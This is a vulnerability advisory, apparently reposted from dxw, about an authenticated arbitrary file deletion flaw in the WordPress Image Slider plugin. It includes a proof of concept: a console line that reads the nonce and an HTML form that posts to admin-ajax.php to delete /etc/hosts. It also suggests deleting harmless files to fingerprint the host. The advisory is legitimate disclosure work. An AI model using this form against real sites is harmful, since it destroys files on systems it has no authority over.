WordPress Image Slider 1.1.41 / 1.1.89 Arbitrary File Deletion

2016.12.28
Credit: Tom Adams
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Details ================ Software: Image Slider Version: 1.1.41,1.1.89 Homepage: http://wordpress.org/plugins/image-slider-widget/ Advisory report: https://security.dxw.com/advisories/arbitrary-file-deletion-vulnerability-in-image-slider-allows-authenticated-users-to-delete-files/ CVE: Awaiting assignment CVSS: 5.5 (Medium; AV:N/AC:L/Au:S/C:P/I:P/A:N) Description ================ Arbitrary file deletion vulnerability in Image Slider allows authenticated users to delete files Vulnerability ================ Any user able to create or edit aSlidersa (the same users who can create/edit posts, as far as I can tell) is able to delete arbitrary files that the web user has permission to write to. In addition, the attackerA is toldA whether that operation succeeded or failed. Depending on configuration this could lead to the attacker being able to: Delete media uploads Delete plugin files (this would be especially bad if there were security plugins limiting the attackeras abilities) Delete important system files (/etc/hosts, /usr/bin/php) AttemptA to delete unimportant files in order to discoverA more information about the system (i.e. attempting to deleteA /usr/share/doc/apt/changelog.gz would have little effect on the system if successful but it would tell the attacker that the host is running a Debian derivative) Proof of concept ================ First, make sure you have a file to delete. Iam going to use /etc/hosts as an example because it demonstrates that youare not limited to files within the WordPress installation, but make sureA whichever file you use can be deleted by the user account WordPress is running under VisitA /wp-admin/post-new.php?post_type=easyimageslider Input the following JavaScript in the inspectoras consoleA to get the nonce value: document.querySelector(\'[data-tnonce]\').dataset[\'tnonce\'] Create a page containing the following code, replace NONCE with the nonce you got in the previous step, visit the page and click submit <form action=\"http://localhost/wp-admin/admin-ajax.php\" method=\"POST\"> <input type=\"text\" name=\"action\" value=\"ewic_timthumb_check\"> <input type=\"text\" name=\"turl\" value=\"/etc/hosts\"> <input type=\"text\" name=\"security\" value=\"NONCE\"> <input type=\"submit\"> </form> If WordPress is being run as root (or if the web user has permission to write to that file) then the page will display a1a, if not it wonat display anything. Mitigations ================ DisableA the plugin. No fixed version is known. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2015-10-29: Discovered 2016-12-09: Reported to vendor via info@ghozylab.com 2016-12-23:A Vendor has not respondedA after 14 days 2016-12-23: Published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top